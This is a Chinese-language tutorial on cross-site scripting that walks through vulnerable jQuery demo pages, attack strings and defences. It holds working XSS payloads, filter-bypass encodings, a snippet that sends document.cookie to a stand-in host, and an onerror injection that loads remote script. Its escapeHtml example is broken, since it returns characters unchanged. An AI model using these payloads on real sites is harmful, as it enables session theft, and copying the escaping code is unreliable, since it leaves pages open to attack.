XSS 攻击
全称跨站脚本攻击,为不和 层叠样式表 (Cascading Style Sheets, CSS)
的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到提供给其它用户使用的页面中。
XSS 攻击的危害
- 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
- 盗窃企业重要的具有商业价值的资料
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 控制受害者机器向其它网站发起攻击
XSS 漏洞的分类
本地利用漏洞
这种漏洞存在于浏览器页面中, 属于前端自身问题基于 DOM 文档对象模型的一种漏洞, 大概步骤:
- A 给 B 发送一个恶意构造的 URL
- B 打开恶意 URL
- B 的浏览器页面中包含恶意代码
- A 的恶意代码可以拥有 B 的持有权限, 进而获取 B 的数据或者冒充 B 的行为
通过修改浏览器页面中的 DOM(DocumentObjectModel)时,就有可能产生这种漏洞
反射式漏洞
服务端没有对数据进行过滤、验证或者编码等处理直接返回前端可能引起的漏洞
- A 给 B 发送一个恶意构造的 URL
- B 打开目标网站, 浏览器将包含恶意代码的数据通过请求传递给服务端, 其不加处理直接返回给浏览器
- B 的浏览器接收到响应后解析并执行的代码中包含恶意代码
- A 的恶意代码可以拥有 B 的持有权限, 进而获取 B 的数据或者冒充 B 的行为
常见于网站搜索栏, 登录注册等地方窃取用户 cookies 或者进行钓鱼欺骗. 因为其中涉及到服务端的参与, 想要避免需要后端协调.
存储式漏洞
类似反射式但是会把未经处理的数据储存在数据库中
- A 将恶意代码提交到目标网站的数据库中
- B 打开目标网站, 服务端将恶意代码从数据库取出拼接在 HTML 中返回给浏览器
- B 的浏览器接收到响应后解析并执行的代码中包含恶意代码
- A 的恶意代码可以拥有 B 的持有权限, 进而获取 B 的数据或者冒充 B 的行为
这是属于持久性攻击, 涉及范围可能包括所有的访问用户, 一般常用网站留言, 评论, 博客日志等.
大致对比
类型 | 本地利用 | 反射式 | 存储式 |
---|---|---|---|
触发 | 用户打开恶意构造的 URL | 用户打开恶意构造的 URL | 1, 用户打开恶意构造的 URL 2, 攻击者构造脚本 |
储存 | URL | URL | 数据库 |
输出 | 前端 | 后端 | 后端 |
方式 | DOM | HTTP 响应 | HTTP 响应 |
XSS 常见案例
公司网站新上线一个搜索功能,B 写了这段代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>demo</title>
<style>
input {width: 600px;}
</style>
</head>
<body>
<div>
input:
<input type="text" id="in" />
<button type="submit" id="submit">submit</button>
</div>
<br />
<div>
output:
<input id="out" />
</div>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<script>
$(function() {var $input = $('#in');
var $output = $('#out');
var $submit = $('#submit');
$submit.click(function() {var val = $input.val();
$output.val(val).html(val);
});
});
</script>
</body>
</html>
完整源码可以查看 demo1
某天, 让 A 知道之后他输入这么一段代码, 然后提交之后发现
<script>alert('XSS');</script>
类似的用户输入内容都可能被攻击者利用拼接特殊格式的字符串形成恶意代码, 通过注入脚本引发潜在风险, 浏览器不会区分善恶, 只是按照代码解析, 于是 B 想了一个办法告诉浏览器这段内容不该解析, 所以改了一下, 简单转义输入内容
function escapeHtml(text) {return text.replace(/[<>"&]/g, function(match, pos, originalText) {switch (match) {
case '<':
return '<';
case '>':
return '>';
case '&':
return '&';
case '"':
return '"';
}
});
}
function unescapeHtml(str) {return text.replace(/[<>"&]/g, function(match, pos, originalText) {switch (match) {
case '<':
return '<';
case '>':
return '>';
case '&':
return '&';
case '"':
return '"';
}
});
}
$submit.click(function() {var val = escapeHtml($input.val());
$output.val(val).html(val);
});
完整源码可以查看 demo2
现在浏览器就不会再执行里面的代码了, 实际业务中应该转义的内容不止这么简单
基于某些业务, 例如登录, 订单等需要携带参数或者重定向等信息,B 写了这么一个页面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>demo</title>
</head>
<body>
<div>
output:
<input id="out" />
<a id="jump">jump</a>
</div>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<script>
$(function() {var $jump = $('#jump');
var $output = $('#out');
var $submit = $('#submit');
function getQueryString(name) {var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i');
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
return null;
}
var val = getQueryString('redirect_to');
$output.val(val)
$jump.attr('href', val);
});
</script>
</body>
</html>
完整源码可以查看 demo3
A 发现一个漏洞, 然后发了这个网址给其他人打开
https://www.test.com/?redirect_to=javascript:alert('XSS')
当他们点击跳转的时候就会触发 A 故意形成的恶意代码
像这种情况 B 第一想法是检验是否网址格式再渲染界面, 所以他这么写
function testUrl(str) {
var Expression =
'^((https|http|ftp|rtsp|mms)?://)?' +
'(([0-9a-z_!~*().&=+$%-]+: )?[0-9a-z_!~*().&=+$%-]+@)?' + //ftp 的 user@
'(([0-9]{1,3}.){3}[0-9]{1,3}|' + // IP 形式的 URL- 199.194.52.184
'([0-9a-z_!~*()-]+.)*' + // 域名 - www.
'[a-z]{2,6})' + // 域名的扩展名
'(:[0-9]{1,4})?' + // 端口 - :80
'((/?)|(/[0-9a-z_!~*().;?:@&=+$,%#-]+)+/?)$';
var objExp = new RegExp(Expression);
if (objExp.test(str) != true) {return false;} else {return true;}
}
var val = getQueryString('redirect_to');
$output.val(val);
testUrl(val) && $jump.attr('href', val);
完整源码可以查看 demo4
因为富文本有问题, 只能截图.
但是不是每个 a
标签都是用于跳转页面的, 例如通过 Scheme 协议打开 APP 界面
<a href="Scheme 协议">
这样子你就把其他非属性跳转的用法都干掉了, 所以 B 想了想不妥, 还是换一种方式禁止, 直接判断执行前缀
var val = getQueryString('redirect_to');
var reg = /javascript:/gi;
$output.val(val);
!reg.test(val) && $jump.attr('href', val);
完整源码可以查看 demo5
因为浏览器不区分大小写, 所以需要注意一下. 更新版本之后 B 以为已经堵死这条路了, 殊不知 A 换个方式改成编码或者回车空格等
https://www.test.com/?redirect_to=jav ascript:alert('XSS');
https://www.test.com/?redirect_to=javascrip?74:alert('XSS');
这就尴尬了, 虽然浏览器并不会执行, 但是这些也能完全避开 B 的拦截规则, 也可能会引起其他隐患
还有种内联数据用法, 将序列化的数据通过 URL 传递给其他页面使用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>demo</title>
</head>
<body>
<div>
output:
<input id="out" />
</div>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<script>
$(function() {var $output = $('#out');
function getQueryString(name) {var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i');
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]);
return null;
}
var val = JSON.parse(getQueryString('data'));
$output.val(val.data).html(val.data);
});
</script>
</body>
</html>
完整源码可以查看 demo6
A 可以直接修改 URL 参数注入代码
https://www.test.com/?data={"data":"<script>alert(\"XSS\")</script>"}
A 通过恶意脚本在页面插入图片自动发起恶意请求
var img = document.createElement('img');
img.src =
'http://www.test.com/cheat.html?url=' +
escape(window.location.href) +
'&content=' +
escape(document.cookie);
img.style = 'display:none';
document.body.appendChild(img);
完整源码可以查看 demo7
B 让服务端采用了比较简单的办法使用 httponly
禁止 JS 脚本访问 cookies 信息让 A 无法拿到
A 通过事件注入恶意脚本
var img = document.createElement('img');
img.src = '#';
img.onerror = document.body.appendChild(document.createElement('script')).src =
'http://www.test.com/cheat.js';
img.style = 'display:none';
document.body.appendChild(img);
完整源码可以查看 demo8
当浏览器向 web 服务器发送请求的时候,一般会带上 Referer
,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。可以让服务端限制必须是白名单才能通过请求达到防盗链功能, 但是丢失Refere
情况比较多, 而且容易被恶意修改, 所以大多只适用于资源被恶意引用的情况
A 利用浏览器的解码顺序进行混合编码组装
当浏览器进行绘制时,解码顺序分别为 HTML > URL > JS, 所以 A 构造了这么一段代码
<a href="javascript:alert('\<%E6%B5%8B%E8%AF%95\>')">jump</a>
首先是 HTML 解码,结果为
<a href="javascript:alert('\<%E6%B5%8B%E8%AF%95\>')">jump</a>
然后是 URL 解码,结果为
<a href="javascript:alert('\< 测试 \>')">jump</a>
最后是 JS 解码,结果为
<a href="javascript:alert('< 测试 >')">jump</a>
所以可以攻击的方式很多种, 相比于针对处理我们应该先了解相关的攻击方式
XSS 攻击方式
- 所有用户输入内容都有潜在的风险
- 利用
script
标签注入HTML/Javascript
代码 - 利用拥有
href
和src
等属性的标签 - 利用空格、回车和 Tab 等拼接方式绕开拦截
- 利用字符编码绕开拦截(JS 支持 unicode、eacapes、十六进制、十进制等编码形式)
- 利用
onload
,onscroll
等事件执行恶意代码 - 利用样式属性
backgrund-image
等执行(听说主流浏览器已处理) - URL 参数
- Cookies
- 请求
header
的referer
- 恶意代码拆分组装
-
各种 API
// URL 相关 document.location document.URL document.URLUnencoded document.referrer window.location // 操作 dom document.write() document.writeln() document.boby.innerHtml // 特殊函数 eval() window.execScript() window.setInterval() window.setTimeout() // 重定向 document.location document.URL document.open() window.location.href window.navigate() window.open
总的来说分两种类型:
- 攻击者手动提交恶意代码
- 浏览器自动执行恶意代码
防御
针对上面的案例如果 B 选择前端进行内容转义, 会引起什么问题呢?
如果攻击者不直接经过前端界面, 而是直接自己构造请求就可以破解了
但是 B 是在发送请求之前转义又会有什么问题?
如果是需要用于界面展示的话, 引用到字段的地方都需要处理, 大部分模板都会自动转义处理, 但是如果用在 JS 不能直接使用或者计算, 例如长度判断等
需要根据上下文采用不同的转义规则增大处理难度, 如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等, 所以这更适用于固定类型的内容, 例如 URL, 号码等
前端基本的 XSS 拦截处理有哪些?
XSS Filter
- 用户提交数据进行验证, 只接受限定长度 / 内容
- 表单数据指定具体类型
- 过滤移除特殊的 html 标签,
script
和iframe
等 - 过滤移除特殊的 Javascript 代码,
javascript:
和事件等
HTML Entity(举例部分)
符号 | 实体编号 |
---|---|
< | < |
> | > |
& | & |
“ | " |
‘ | ' |
空格 | |
请求限制
- 将重要的 Cookie 标记为 HTTP Only, 不能通过客户端脚本读取和修改
- 设置
referer
防止恶意请求 - 实现 Session 标记(session tokens)、CAPTCHA 系统或者 HTTP 引用头检查,以防功能被第三方网站所执行